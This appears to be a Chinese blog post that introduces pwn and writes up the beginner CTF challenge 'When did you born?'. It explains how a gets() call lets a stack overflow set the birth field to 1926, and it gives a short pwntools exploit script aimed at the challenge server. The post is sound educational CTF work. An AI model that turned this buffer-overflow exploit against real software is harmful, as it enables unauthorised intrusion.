Nepire的pwn入门学习之旅——(一)

欢迎大家来到Nepire的pwn入门,本系列主要是通过CTF中pwn题的各种类型的解题过程来学习pwn相关的知识,让我们在pwn的世界沦陷吧呜喵~

这次我要讲的是南邮CTF里的pwn50—When did you born?这是我最初做出来的几题pwn之一,算是很基础的pwn题,,所以让我们从这题开始入门吧~

题目

nc ctf.acdxvfsvd.net 1926
Try not to be naive
https://cgctf.nuptsast.com/challenges#Pwn

WriteUp

连上去发现是让我们输入Your Birth,膜法师们自然就肯定要输入一波1926,然后得到

这里写图片描述

这时就知道了,这里肯定有点东西。
打开test.c文件查看源码,

这里写图片描述

发现得到flag的条件是student.birth=1926,而14行的if语句要求birth!=1926才可继续执行,这时我们在19行找到了gets,我们便可以通过栈溢出来覆盖birth的值,于是我们编译test.c后丢进ida找name和birth的偏移量

这里写图片描述

这时我们可以算出差值为8,这时我们就可以开始构造exp

Nep_exp

from pwn import  *  
n = remote("ctf.acdxvfsvd.net",1926)  
payload = 'a'*8 + p32(1926)        
n.recvuntil("What\'s Your Birth?\n")  
n.sendline("2333")   
n.recvuntil("What\'s Your Name?\n")
n.sendline(payload)   
n.interactive()
完成,发送查看结果

Nep

get flag~

这里是,一个在学习pwn的路上不断翻滚的萌新 如果文章有什么错误的,欢迎各位dalao在下面评论回复。

————Nepire

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值